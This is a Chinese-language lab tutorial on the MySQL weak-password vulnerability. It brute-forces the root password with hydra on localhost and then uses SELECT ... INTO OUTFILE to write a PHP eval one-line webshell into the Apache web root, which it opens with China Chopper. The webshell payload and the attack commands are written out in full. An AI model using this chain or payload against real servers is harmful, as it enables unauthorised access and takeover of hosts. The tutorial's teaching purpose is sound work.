MySQL弱密码和webshell相关问题

一.了解漏洞

1.什么是MySQL

Mysql是一个开源的关系型数据库系统。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。


2.MySQL弱密码漏洞是什么

在LAMP(linux+Apache+mysql+php)环境下,mysql密码弱,攻击者可以通过密码字典爆破获取mysql密码进而通过mysql向Apache服务器写入一句话php木马文件获取webshell。


二.分析漏洞原理

1.具体漏洞产生原理是什么?

因用户安装mysql时密码设置过于简单,使得mysql暴露在一个不安全的环境下。或未设置密码某些情况下默认无密码,导致MySQL暴露在不安全的>环境下。

2.漏洞结合webshell有什么危害?

当密码过于简单时,通过hydra等一些爆破软件可以爆破mysql密码,成功登入目标主机,然后写入简单的php脚本,然后通过中国菜刀连接目标apache服务器,获取信息,甚至写入更复杂的脚本,获取更多敏感信息,甚至通过提权控制整个主机乃至服务器。

三.漏洞重现与利用(在本机实验,思路相同)

1.安装配置Apache、PHP、MySQL

1
$sudo yum install httpd   //安装apache服务

pic1

1
sudo yum install php    //安装php

pic2
在/var/www/html/ 下创建info.php脚本
pic3
在浏览器输入 localhost/info.php ,运行效果如图
pic4

1
2
$dnf install php-mysqlnd  //安装php-mysql模块
$sudo yum install mysql mysql-server //安装mysql服务,一般默认安装的是MariaDB

2.MySQL安全配置

1
2
3
$systemctl start mariadb.service  //开启mysql服务
$systemctl enable mariabd.service //开机启动mysql服务
$mysql_secure_installation //配置mysql密码以及其他安全配置

pic11
pic12
pic13

1
$mysql -u root -p   //进入mysql

3.安装hydra

1
2
3
$yum install hydra  //安装hydra
$yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel
subversion-devel libncurses-devel //安装相关依赖

4.使用hydra进行mysql的弱密码攻击并尝试利用mysql写入webshell,从而利用webshell进行进一步攻击

创建用于爆破的密码字典
pic21

1
$hydra -l root -P password.txt 127.0.0.1 mysql   //指定用户名,密码字典以及爆破目标主机地址和服务

pic22
成功,获取到root用户的密码:123456
(hydra参数:-l 指定用户名 -L 指定用户名字典 -p 指定密码 -P 指定密码字典 -v 显示详细过程 -t 指定线程数,默认16)

1
$mysql -u root -p123456 -h 127.0.0.1 -P 3306  //登录127.0.0.1的mysql数据库成功

pic23

1
2
>use mysql  //进入mysql数据库
>select ‘<?php eval($_POST[cmd]);?>’ into outfile '/var/www/html/eval.php'; //在html文件夹中写入一句话木马获取webshell

pic24
通过菜刀设置webshell并且登入
pic25
pic26
成功进入但是并没有任何进入webshell。具体原因可能是因为搭建目标时使用的php7,版本太高,不支持一句话木马,应安装php5,因为在php5环境下可以成功进入webshell。
后在github上发现因为php7过滤掉一些函数导致菜刀不能用,后根据作者提供的代码修改后成功进入。
pic27
pic28
成功进入目标服务器!